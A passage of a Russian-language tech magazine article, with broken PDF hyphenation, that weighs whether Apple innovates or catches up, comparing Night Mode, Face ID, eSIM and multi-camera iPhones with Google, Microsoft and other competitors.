 пирожок с пол ки дос тает ся Google за отличную реали зацию и пос‐ 
ледова тель ное улуч шение при ложе ния Google Camera. Допол нитель ные очки
Google  за  то,  что  новые  воз можнос ти  Google  Camera  ста новят ся  дос тупны
и  на  ста рых  Pixel  (в  рам ках  впол не  объ ясни мых  аппа рат ных  огра ниче ний).
О про дук ции Apple мож но ска зать лишь то, что пот ряса юще избы точ ная мощ‐ 
ность  ней рон ных  соп роцес соров  прош логод них моделей  iPhone  так  и  оста‐ 
нет ся  невос тре бован ной:  новых  фотовоз можнос тей  в  ста рые  модели
не добави ли, и свя зано это с чем угод но, но толь ко не с аппа рат ными огра‐ 
ниче ниями.

Вы вод:

НОЧНОЙ РЕЖИМ NIGHT MODE: ХОРОШО,
НО ПОЧЕМУ ТОЛЬКО ДЛЯ IPHONE 11?

В  один надца том  iPhone  появил ся  ноч ной  режим  съем ки.  В  этом  режиме
длин ная выдер жка дос тига ется  умной ком бинаци ей мно жес тва  кад ров, сде‐ 
лан ных  с  корот кой  выдер жкой,  что бы  изоб ражение  не  сма зыва лось.  Точ нее
говоря,  скле ивают ся  не  целые  кад ры,  а  их  час ти,  что  поз воля ет  кор рек тно
обра ботать дви жущи еся в кад ре объ екты. Такой под ход поз воля ет умень шить
уро вень видимо го шума при сох ранении общей чет кости фотог рафии.

Впер вые  ноч ной  режим,  работа ющий  по  опи сан ному  выше  прин ципу,
появил ся  в  при ложе нии  Google  Camera  осенью  2017  года —  поч ти  на  год
рань ше, чем в iPhone. Я спе циаль но не упо минаю модель устрой ства, к анон‐ 
су  которой  был  при уро чен  выход  обновлен ного  при ложе ния,  потому  что
режим  Night  Sight  стал  дос тупен  и  для 
с обновле нием при ложе ния Google Camera из Play Store.

пре дыду щих  смар тфо нов  линей ки

По чему я акценти рую на этом вни мание? Потому что никакие пре дыду щие
модели  Apple  никако го  ноч ного  режима  не  получи ли.  Новое  при ложе ние
камеры дос тупно исклю читель но на новых iPhone 11‐й серии. При чина? Офи‐ 
циаль но —  ноч ной  режим  исполь зует  воз можнос ти  нового  замеча тель ного
про цес сора  A13  Bionic.  Вот  толь ко  нес коль кими  слай дами  ранее  со  сце ны
показа ли  гра фики,  из  которых  вид но  прос то  домини рующее  пре вос ходс тво
пре дыду щего  про цес сора  A12  Bionic  над  подел ками  Qualcomm,  которые
исполь зует Google. И если Google может реали зовать ноч ной режим на про‐ 
цес сорах пре дыду щего и пред пре дыду щего поколе ний, то что меша ет Apple
адап тировать его под те самые мощ ности ней росоп роцес сора, которые сей‐ 
час  не  исполь зуют ся  и  прос таивают?  Ничего  лич ного,  прос то  мар кетинг:
хочешь ноч ной режим — покупай новый iPhone.

  приз  дос тает ся Google  как  пер вопро ход цам и  за  то,  что  ноч ной
режим  стал  дос тупен  в  пре дыду щих  смар тфо нах  линей ки.  В  сто рону  Apple
отправ лен луч удив ления и недо уме ния решени ем мар кетин гового отде ла.

Вы вод:

РАЗБЛОКИРОВКА ПО ЛИЦУ:
FACE ID ПРОТИВ КОНКУРЕНТОВ

Face ID стал гвоз дем прог раммы во вре мя анон са iPhone X в 2017 году. Новая
сис тема ска неров, соз дающая трех мерный образ лица поль зовате ля, новый
соп роцес сор Bionic, исполь зующий ся для нужд машин ного обу чения при раз‐ 
бло киров ке  по  лицу  (и  прос таивающий  все  осталь ное  вре мя),  и  бес шовная
интегра ция  в  iOS  сде лали  раз бло киров ку  по  лицу  пол ной  заменой  дат чику
отпе чат ков паль цев.

Кон курен ты?  В  Android  задол го  до  Face  ID  была  воз можность  добавить
раз бло киров ку  по  лицу  в  под систе ме  Smart  Lock.  Я  упо минаю  эту  сис тему
исклю читель но для того, что бы ком мента торы не упре кали меня в упу щении:
ана логом  Face  ID  под систе му  Smart  Lock  счи тать  никак  нель зя  из‐за  чрез‐ 
вычай но низ кого  уров ня безопас ности. Недаром мно гие полити ки безопас‐ 
ности  пол ностью  зап реща ют  исполь зование  Smart  Lock  в  смар тфо нах
с Android.

Но  кон курен ты  не  дрем лют.  Пос ле  выхода  iPhone  X  под систе му  раз бло‐ 
киров ки по лицу ста ли добав лять в  качес тве штат ной  (а не Smart  Lock)  воз‐ 
можнос ти  мно гие  про изво дите ли.  В  подав ляющем  боль шинс тве  слу чаев
безопас ность таких решений была ниже кри тичес кой план ки: исполь зовалась
единс твен ная  камера,  никакой  трех мерной  модели  не  соз давалось,  прос то
сли чались дву мер ные изоб ражения. Шагом в сто рону стал смар тфон Xiaomi
Mi 8 Pro, в котором была пара камер и инфрак расная под свет ка.

Что‐то подоб ное пытались встра ивать в свои смар тфо ны Samsung: режим
рас позна вания  радуж ной  обо лоч ки  был  опци ональ ным  допол нени ем
к режиму раз бло киров ки по лицу.  Тем не менее в  этих  смар тфо нах раз бло‐ 
киров ка по лицу так и не ста ла основной и единс твен ной биомет рикой; о бес‐ 
шовной интегра ции (авто риза ции в при ложе ниях) не при ходи лось и говорить.

В Google Pixel 4 и 4 XL, вышед ших спус тя два года пос ле iPhone X, раз бло‐ 
киров ка по лицу ста ла единс твен ной воз можностью раз бло киро вать устрой‐ 
ство биомет рикой. Сис тема осно вана на тех же прин ципах, что и Face ID.

Не толь ко лицо
Кро ме раз бло киров ки по лицу и отпе чат ку, в смар тфо нах сущес тво вали и дру‐ 
гие методы авто риза ции поль зовате ля. Так, в смар тфо нах Lumia 950 / 950 XL
в качес тве единс твен ной биомет ричес кой опции пред лагалась раз бло киров‐ 
ка  по  ска ну  радуж ной  обо лоч ки  гла за.  Фор маль но —  ана лог  Face  ID.  Фак‐ 
тичес ки же раз бло киров ка по ска ну радуж ной обо лоч ки ока залась мед ленной
и не слиш ком надеж ной, не работа ла в очках, пло хо справ лялась при избы‐ 
точ но ярком осве щении… Да, уро вень лож ных положи тель ных сра баты ваний
был чрез вычай но низок; да, безопас ность была на уров не. Но поль зовать ся
ей было нас толь ко неудоб но, что в Microsoft отка зались от этой модели.

А зна ешь, кому на самом деле при над лежит паль ма пер венс тва? Все‐таки Mi‐
crosoft, и я сей час совер шенно не имею в виду линей ку Lumia 950 и 950 XL.
В 2015 году Microsoft сде лали прек расную, безопас ную, отлично отла жен ную,
мгно вен но и надеж но сра баты вающую сис тему авто риза ции по лицу под наз‐ 
вани ем  . Две инфрак расные камеры, раз несен ные на задан ное
(сер тифици руемое) рас сто яние, инфрак расная же под свет ка, вмес то Secure
Enclave — не менее безопас ный, но абсо лют но стан дар тный модуль TPM 2.0.

Windows Hello

Ра бота ет  это  так:  поль зователь  откры вает  крыш ку  ноут бука  —  и  он  уже
авто ризо ван;  дос таточ но  смах нуть  вверх  штор ку  экра на  бло киров ки  (или
нажать кноп ку «Вверх»), что бы попасть на рабочий стол. Быс тро и без задер‐ 
жки.  При  этом  биомет рика  бес шовно  интегри рова на  в  при ложе ния:  что бы
пос мотреть пароли, сох ранен ные в бра узе ре Chrome, тоже впол не дос таточ‐ 
но  находить ся  перед  камерой.  Во  мно гих  ноут буках  (нап ример,  HP  Spectre
x360) решение уже встро ено, а для дес кто па камеру мож но купить любую (из
сер тифици рован ных  для Windows Hello). Сер тифици рован ная  камера,  драй‐ 
вер  и  модуль  TPM  2.0  —  все,  что  нуж но  для  нас трой ки  биомет ричес кого
логина в Windows 10.

На телефо нах

На компь юте рах

Ка залось  бы,  при  чем  тут  Apple? Вся  под систе ма Windows Hello  дос таточ но
мас сивна. Встро ить ее в телефон в том виде, как она работа ет на план шетах
и  ноут буках,  у  Microsoft  не  получи лось,  приш лось  соз давать  новую  сис тему
с рас позна вани ем радуж ной обо лоч ки гла за. Имен но Apple уда лось втис нуть
надеж ную  биомет рику  в  мини атюр ный  фор мфак тор,  а  само  рас позна вание
сде лать  момен таль ным  и  прак тичес ки  незамет ным  для  поль зовате ля  бла‐ 
года ря избы точ ной мощ ности ней рон ного соп роцес сора.

 нес мотря на наличие подоб ных сис тем задол го до Face ID, Apple
были пер выми, кто сде лал дей стви тель но удоб но, быс тро и надеж но имен но
на  смар тфо не  (план шеты  и  ноут буки  не  в  счет,  там  паль ма  пер венс тва
у Microsoft).

Вы вод:

ESIM: ЭЛЕКТРОННЫЕ SIM-КАРТЫ
ВМЕСТО ФИЗИЧЕСКИХ

Здесь мож но было бы рас ска зать о двух симоч ных iPhone, но тема с элек трон‐ 
ными  SIM‐кар тами  кажет ся  мне  гораз до  более  инте рес ной.  Имен но
с выходом поколе ния iPhone Xr / Xs / Xs Max в 2018 году (а вов се не с появ‐ 
лени ем  часов Apple Watch,  под держи вающих  LTE)  опе рато ры  сотовой  свя зи
по  все му  миру  ста ли  в  мас совом  поряд ке  добав лять  под дер жку  eSIM.
Пожалуй, ни одной дру гой ком пании не уда лось бы добить ся такого эффекта,
и это — одна из тех вещей, выгоду от которых получа ют не толь ко поль зовате‐ 
ли про дук ции Apple, но и мно гие дру гие.

Ма ло кому извес тно, что под дер жка eSIM в мас совом смар тфо не впер вые
появи лась  вов се  не  в  iPhone.  Пер вым  про дук том  с  под дер жкой  eSIM  ста ли
часы Apple Watch 3 LTE, а пер вым смар тфо ном с под дер жкой eSIM — Google
Pixel  2,  так же  вышед ший  в  2017  году.  В  то  вре мя  под дер жка  eSIM  в  Pixel
2  была  дос тупна  толь ко  и  исклю читель но  в  собс твен ной  мобиль ной  сети
Google Fi; никако го мас сового перехо да на eSIM со сто роны поль зовате лей
или  опе рато ров  сотовой  свя зи  не  наб людалось.  Apple  Watch  3  с  LTE  под‐ 
держи вались  на  момент  выхода  даже  не  каж дым  опе рато ром  в  США,
не говоря уже о дру гих стра нах.

В октябре 2018‐го, мень ше чем через месяц пос ле выхода iPhone Xs, под‐ 
дер жку eSIM анон сирова ли в све жей линей ке Google Pixel 3. Теперь и в смар‐ 
тфо нах Google под дер жка элек трон ных SIM‐карт ста ла пол ноцен ной и откры‐ 
той для всех опе рато ров, у которых есть под дер жка eSIM.

В чем раз ница меж ду решени ями Apple и Google? Если смар тфо ны iPhone
Xs  (и  далее  по  спис ку)  —  двух симоч ные,  поз воля ющие  одновре мен ную
работу в режиме ожи дания для обе их SIM‐карт (физичес кой и элек трон ной),
то в Pixel 3/XL одновре мен но исполь зовать ся может лишь одна SIM, физичес‐ 
кая  либо  элек трон ная.  Что  инте рес но,  ран ние  бета‐вер сии  Android  давали
поль зовате лям воз можность вклю чить одновре мен ную под дер жку обе их SIM‐
карт и на Pixel 3, это однознач но ука зыва ет на то, что внут ри смар тфон впол не
«двух симоч ный».  Увы,  ни  в  одну  окон чатель ную  вер сию Android  «двух симоч‐ 
ный» режим не попал.

 нес мотря на прак тичес ки одновре мен ный выход iPhone Xs и Pixel
3,  глав ный  приз  получа ет  все‐таки  Apple.  Имен но  Apple  под готови ла  рынок
к  появ лению eSIM в  смар тфо нах  (напом ню,  часы Apple Watch  с  под дер жкой
LTE выш ли на год рань ше), и имен но мас штаб ком пании зас тавил опе рато ров
всерь ез прис мотреть ся к новому стан дарту.

Вы вод:

ВТОРАЯ И ТРЕТЬЯ КАМЕРЫ

Пер вым  двух камер ным  смар тфо ном  Apple  стал  iPhone  7  Plus,  выпущен ный
в  сен тябре  2016  года.  В  том  же  2016  году  выш ли  мно гочис ленные  модели
кон курен тов,  так же  осна щен ные  дву мя  камера ми.  Здесь  и  модели  Huawei
(вто рая камера, монох ромная, пред назна чена для луч шей съем ки в тем ноте
и  для  опре деле ния  глу бины  рез кости),  и  LG G5  (вто рая  камера — широко‐ 
уголь ная),  и мно гочис ленные  китай ские  устрой ства,  вто рые  камеры  которых
мог ли выпол нять любую роль вплоть до декора тив ной. Задол го до 2016 года
сущес тво вали и  дру гие модели  с  дву мя  камера ми. Нап ример,  были модели
LG Optimus 3D и HTC Evo 3D (обе в 2011 году), двой ная камера которых поз‐ 
воляла сни мать сте реопа ры.

В  то  же  вре мя  Apple  ста ла  одной  из  нем ногих  ком паний,  исполь зующих
чес тный (опти чес кий) спо соб получе ния сним ков с двук ратным приб лижени‐ 
ем.  Мно гие  китай ские  кон курен ты  с  дву мя  камера ми  (в  их  чис ле  ран ние
модели Xiaomi и OnePlus) исполь зовали ком бинацию из неболь шого опти чес‐ 
кого  приб лижения,  выреза ния  цен траль ной  час ти  изоб ражения  и  прог рам‐ 
мной  интерпо ляции,  что  давало  качес тво  сним ков  клас са  «неп лохо,  если
смот реть с экра на смар тфо на». Вто рой объ ектив в  iPhone 7 Plus прос то был
и прос то работал.

Пер выми  iPhone с тре мя камера ми ста ли модели  iPhone 11 Pro и Pro Max
(2019 год). И если iPhone 7 Plus в 2016 году смот релся дос таточ но све жо, то
«трех камер ные»  iPhone образца 2019 года выг лядят сво еоб разной уступкой
рын ку.  И  если  к  ста били зиро ван ному  теле объ екти ву  с  двук ратным  приб‐ 
лижени ем воп росов нет,  то исполь зование в  iPhone 11 Pro 

 для широко уголь ной камеры вызыва ет недо уме ние.
оп тики без авто‐ 

фоку са
  не  инно вации.  Глав ный  приз  не  получа ет  ник то;  идея  прос то

витала  в  воз духе,  а  ее  реали заци ей  занима лись  прак тичес ки  все  про изво‐ 
дите ли одновре мен но.

Вы вод:

ЗАКЛЮЧЕНИЕ

В одной статье невоз можно рас смот реть все инно вации и «инно вации» даже
за  пос ледние  два  года.  Исполь зование    для  опре деле ния  мес‐ 
тополо жения — инно вация или нет? А Apple Pencil пер вого и вто рого поколе‐ 
ния? А план шеты с экра ном с час тотой обновле ния в 120 Гц? А воз можнос ти
допол ненной реаль нос ти,  которые потом под хва тила  (и  заб росила) Google?
Часы с про рыв ной фун кци ей ЭКГ, но силь но при поз днив шимся режимом Al‐
ways On Display? Все это инте рес но, а мно гое зас лужива ет отдель ного рас‐ 
смот рения.

дат чика  U1

Так все‐таки, Apple — инно вато ры или догоня ющие? Как и обыч но в слу чае
с Apple, однознач ный ответ дать невоз можно.

Мно гие вещи появ ляют ся в про дук тах Apple с боль шим опоз дани ем. Здесь
и под дер жка вычис литель ной фотог рафии в камерах, и режим Always On Dis‐
play  в  часах,  и  под дер жка  двух  SIM‐карт,  и  под дер жка  двух,  а  потом  и  трех
камер, и ноч ной режим экра на, и мно гое дру гое.

Нем ногое  —  дей стви тель но  про рыв ные  инно вации.  Здесь  и  стан дарт
eSIM,  рас простра нение  которо го  без  Apple  заняло  бы мно гие  годы,  и фун‐ 
кция  элек тро кар диог раммы  в  часах,  и  уста рев ший  ныне  «бес конеч ный»  (а
поп росту — с сим метрич ными рам ками) экран «с вырезом».

В  боль шинс тве  же  слу чаев  Apple  под бира ет  с  пола  никому  не  нуж ную,
полуза бытую тех нологию, доводит ее до ума и дела ет так, что все это «прос то
работа ет», — пос ле чего уже кон курен там дос тает ся роль догоня ющих. Яркий
при мер  —  тех нология  True  Tone,  которая  была  при дума на  и  исполь зована
в план шете Amazon задол го до Apple, затем забыта, внед рена тоже в план шет
(iPad Pro  9.7)  и  рас тиражи рова на  на  зна читель ную  часть  линей ки  про дук тов
ком пании. Пос ле чего тех нологию тихо (LG G8, G8s) или с рек ламной под дер‐ 
жкой  (Google Nest Hub) взя ли на воору жение кон курен ты. Дру гой при мер —
тех нология  Face  ID,  которая  в  ее  текущем,  хорошо  отла жен ном  виде  толь‐ 
ко‐толь ко появи лась в Pixel 4.
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